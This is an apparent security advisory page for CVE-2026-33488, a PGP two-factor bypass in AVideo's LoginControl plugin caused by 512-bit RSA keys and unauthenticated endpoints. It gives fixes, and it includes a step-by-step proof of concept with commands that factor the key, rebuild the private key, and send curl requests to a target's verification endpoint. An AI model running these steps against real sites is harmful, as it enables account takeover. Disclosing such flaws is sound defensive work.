CVE-2026-33488: Wwbn/avideo AVideo Has A PGP 2FA Vulnerability

HIGH
Advisory Identifier: GHSA-6m5f-j7w2-w953
CVSS 7.4
CWE-326
Published
Advisory Summary

CVE-2026-33488 is a HIGH (CVSS 7.4) avideo has a pgp 2fa vulnerability (CWE-326: Inadequate Encryption Strength) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has a pgp 2fa bypass via cryptographically broken 512-bit rsa key generation in logincontrol plugin. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33488 at a Glance

CVE Identifier CVE-2026-33488
GHSA Identifier GHSA-6m5f-j7w2-w953
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-326: Inadequate Encryption Strength
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-33488

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33488, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-326: Inadequate Encryption Strength, where the product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `createKeys()` function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the `generateKeys.json.php` and `encryptMessage.json.php` endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. ## Details The vulnerability originates in `plugin/LoginControl/pgp/functions.php` at line 26: ```php // plugin/LoginControl/pgp/functions.php:26 $privateKey = RSA::createKey(512); ``` This code was copied from the `singpolyma/openpgp-php` library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys: 1. **Key generation**: When a user enables PGP 2FA, the UI calls `createKeys()` which generates a 512-bit RSA keypair. The public key is saved to the database via `savePublicKey.json.php`. 2. **Challenge creation** (`LoginControl.php:520-531`): During login, a `uniqid()` token is generated, stored in the session, and encrypted with the user's stored public key: ```php // LoginControl.php:525-530 $_SESSION['user']['challenge']['text'] = uniqid(); $encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']); ``` 3. **Challenge verification** (`LoginControl.php:533-539`): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check: ```php // LoginControl.php:534 if ($response == $_SESSION['user']['challenge']['text']) { ``` Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key. **Unauthenticated endpoints** (compounding issue): `generateKeys.json.php` does not include `configuration.php` and has no authentication check: ```php // plugin/LoginControl/pgp/generateKeys.json.php:1-2 <?php require_once '../../../plugin/LoginControl/pgp/functions.php'; ``` Similarly, `encryptMessage.json.php` has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service. ## PoC **Step 1: Obtain the target user's 512-bit public key** The public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the `users_externalOptions` table under the key `PGPKey`. **Step 2: Extract the RSA modulus from the public key** ```bash # Extract the modulus from the PGP public key echo "$PUBLIC_KEY_ARMOR" | gpg --import 2>/dev/null gpg --list-keys --with-key-data | grep '^pub' # Or use Python: python3 -c " from Crypto.PublicKey import RSA # Parse the PGP key and extract RSA modulus N # N will be a ~155-digit number (512 bits) print(f'N = {key.n}') " ``` **Step 3: Factor the 512-bit modulus** ```bash # Using CADO-NFS (typically completes in 2-8 hours on a modern desktop) cado-nfs.py <modulus_decimal> # Or using msieve: msieve -v <modulus_decimal> # Output: p = <factor1>, q = <factor2> ``` **Step 4: Reconstruct the private key and decrypt the 2FA challenge** ```python from Crypto.PublicKey import RSA from Crypto.Util.number import inverse # From factoring step p = <factor1> q = <factor2> n = p * q e = 65537 d = inverse(e, (p-1)*(q-1)) # Reconstruct private key privkey = RSA.construct((n, e, d, p, q)) # Decrypt the PGP-encrypted challenge from the login page # and submit the plaintext to verifyChallenge.json.php ``` **Step 5: Submit decrypted challenge to bypass 2FA** ```bash curl -b "session_cookie" \ "https://target/plugin/LoginControl/pgp/verifyChallenge.json.php" \ -d "response=<decrypted_uniqid_value>" # Expected: {"error":false,"msg":"","response":"<value>"} ``` **Unauthenticated endpoint abuse:** ```bash # No authentication required — CPU-intensive 512-bit RSA keygen curl "https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&keyEmail=test@test.com" # Returns: {"error":false,"public":"-----BEGIN PGP PUBLIC KEY BLOCK-----...","private":"-----BEGIN PGP PRIVATE KEY BLOCK-----..."} ``` ## Impact - **2FA Bypass**: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely. - **Account Takeover**: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts. - **Denial of Service**: The unauthenticated `generateKeys.json.php` endpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting. - **Scope**: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin. ## Recommended Fix **1. Increase RSA key size to 2048 bits minimum** (`plugin/LoginControl/pgp/functions.php:26`): ```php // Before: $privateKey = RSA::createKey(512); // After: $privateKey = RSA::createKey(2048); ``` **2. Add authentication to `generateKeys.json.php`** (match the pattern used in `decryptMessage.json.php`): ```php <?php require_once '../../../videos/configuration.php'; require_once '../../../plugin/LoginControl/pgp/functions.php'; header('Content-Type: application/json'); $obj = new stdClass(); $obj->error = true; $plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl'); if (!User::isLogged()) { $obj->msg = "Authentication required"; die(json_encode($obj)); } // ... rest of existing code ``` **3. Add authentication to `encryptMessage.json.php`** (same pattern): ```php <?php require_once '../../../videos/configuration.php'; require_once '../../../plugin/LoginControl/pgp/functions.php'; // Add auth check before processing if (!User::isLogged()) { $obj->msg = 'Authentication required'; die(json_encode($obj)); } ``` **4. Add minimum key size validation in `savePublicKey.json.php`** to reject weak keys regardless of how they were generated: ```php // After line 26, before saving: $keyData = OpenPGP_Message::parse(OpenPGP::unarmor($_REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK')); if ($keyData && $keyData[0] instanceof OpenPGP_PublicKeyPacket) { $bitLength = strlen($keyData[0]->key['n']) * 8; if ($bitLength < 2048) { $obj->msg = "Key size too small. Minimum 2048 bits required."; die(json_encode($obj)); } } ```

CVE-2026-33488 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33488?
CVE-2026-33488 is a security vulnerability in Wwbn/avideo involving AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin under CWE-326: Inadequate Encryption Strength.
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33488?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33488?
CVE-2026-33488 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-33488?
CVE-2026-33488 is classified under CWE-326: Inadequate Encryption Strength (The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.).
How can I check Packagist dependencies for CVE-2026-33488?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6m5f-j7w2-w953",
  "modified" : "2026-03-25T20:30:55Z",
  "published" : "2026-03-20T20:49:06Z",
  "aliases" : [ "CVE-2026-33488" ],
  "summary" : "AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin",
  "details" : "## Summary\n\nThe `createKeys()` function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the `generateKeys.json.php` and `encryptMessage.json.php` endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.\n\n## Details\n\nThe vulnerability originates in `plugin/LoginControl/pgp/functions.php` at line 26:\n\n```php\n// plugin/LoginControl/pgp/functions.php:26\n$privateKey = RSA::createKey(512);\n```\n\nThis code was copied from the `singpolyma/openpgp-php` library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:\n\n1. **Key generation**: When a user enables PGP 2FA, the UI calls `createKeys()` which generates a 512-bit RSA keypair. The public key is saved to the database via `savePublicKey.json.php`.\n\n2. **Challenge creation** (`LoginControl.php:520-531`): During login, a `uniqid()` token is generated, stored in the session, and encrypted with the user's stored public key:\n```php\n// LoginControl.php:525-530\n$_SESSION['user']['challenge']['text'] = uniqid();\n$encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']);\n```\n\n3. **Challenge verification** (`LoginControl.php:533-539`): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check:\n```php\n// LoginControl.php:534\nif ($response == $_SESSION['user']['challenge']['text']) {\n```\n\nSince 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.\n\n**Unauthenticated endpoints** (compounding issue):\n\n`generateKeys.json.php` does not include `configuration.php` and has no authentication check:\n```php\n// plugin/LoginControl/pgp/generateKeys.json.php:1-2\n<?php\nrequire_once  '../../../plugin/LoginControl/pgp/functions.php';\n```\n\nSimilarly, `encryptMessage.json.php` has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.\n\n## PoC\n\n**Step 1: Obtain the target user's 512-bit public key**\n\nThe public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the `users_externalOptions` table under the key `PGPKey`.\n\n**Step 2: Extract the RSA modulus from the public key**\n\n```bash\n# Extract the modulus from the PGP public key\necho \"$PUBLIC_KEY_ARMOR\" | gpg --import 2>/dev/null\ngpg --list-keys --with-key-data | grep '^pub'\n# Or use Python:\npython3 -c \"\nfrom Crypto.PublicKey import RSA\n# Parse the PGP key and extract RSA modulus N\n# N will be a ~155-digit number (512 bits)\nprint(f'N = {key.n}')\n\"\n```\n\n**Step 3: Factor the 512-bit modulus**\n\n```bash\n# Using CADO-NFS (typically completes in 2-8 hours on a modern desktop)\ncado-nfs.py <modulus_decimal>\n# Or using msieve:\nmsieve -v <modulus_decimal>\n# Output: p = <factor1>, q = <factor2>\n```\n\n**Step 4: Reconstruct the private key and decrypt the 2FA challenge**\n\n```python\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Util.number import inverse\n\n# From factoring step\np = <factor1>\nq = <factor2>\nn = p * q\ne = 65537\nd = inverse(e, (p-1)*(q-1))\n\n# Reconstruct private key\nprivkey = RSA.construct((n, e, d, p, q))\n\n# Decrypt the PGP-encrypted challenge from the login page\n# and submit the plaintext to verifyChallenge.json.php\n```\n\n**Step 5: Submit decrypted challenge to bypass 2FA**\n\n```bash\ncurl -b \"session_cookie\" \\\n  \"https://target/plugin/LoginControl/pgp/verifyChallenge.json.php\" \\\n  -d \"response=<decrypted_uniqid_value>\"\n# Expected: {\"error\":false,\"msg\":\"\",\"response\":\"<value>\"}\n```\n\n**Unauthenticated endpoint abuse:**\n\n```bash\n# No authentication required — CPU-intensive 512-bit RSA keygen\ncurl \"https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&keyEmail=test@test.com\"\n# Returns: {\"error\":false,\"public\":\"-----BEGIN PGP PUBLIC KEY BLOCK-----...\",\"private\":\"-----BEGIN PGP PRIVATE KEY BLOCK-----...\"}\n```\n\n## Impact\n\n- **2FA Bypass**: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely.\n- **Account Takeover**: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts.\n- **Denial of Service**: The unauthenticated `generateKeys.json.php` endpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting.\n- **Scope**: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin.\n\n## Recommended Fix\n\n**1. Increase RSA key size to 2048 bits minimum** (`plugin/LoginControl/pgp/functions.php:26`):\n\n```php\n// Before:\n$privateKey = RSA::createKey(512);\n\n// After:\n$privateKey = RSA::createKey(2048);\n```\n\n**2. Add authentication to `generateKeys.json.php`** (match the pattern used in `decryptMessage.json.php`):\n\n```php\n<?php\nrequire_once '../../../videos/configuration.php';\nrequire_once '../../../plugin/LoginControl/pgp/functions.php';\nheader('Content-Type: application/json');\n\n$obj = new stdClass();\n$obj->error = true;\n\n$plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl');\n\nif (!User::isLogged()) {\n    $obj->msg = \"Authentication required\";\n    die(json_encode($obj));\n}\n// ... rest of existing code\n```\n\n**3. Add authentication to `encryptMessage.json.php`** (same pattern):\n\n```php\n<?php\nrequire_once '../../../videos/configuration.php';\nrequire_once '../../../plugin/LoginControl/pgp/functions.php';\n// Add auth check before processing\nif (!User::isLogged()) {\n    $obj->msg = 'Authentication required';\n    die(json_encode($obj));\n}\n```\n\n**4. Add minimum key size validation in `savePublicKey.json.php`** to reject weak keys regardless of how they were generated:\n\n```php\n// After line 26, before saving:\n$keyData = OpenPGP_Message::parse(OpenPGP::unarmor($_REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK'));\nif ($keyData && $keyData[0] instanceof OpenPGP_PublicKeyPacket) {\n    $bitLength = strlen($keyData[0]->key['n']) * 8;\n    if ($bitLength < 2048) {\n        $obj->msg = \"Key size too small. Minimum 2048 bits required.\";\n        die(json_encode($obj));\n    }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-6m5f-j7w2-w953"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33488"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/00d979d87f8182095c8150609153a43f834e351e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-326" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:49:06Z",
    "nvd_published_at" : "2026-03-23T16:16:49Z"
  }
}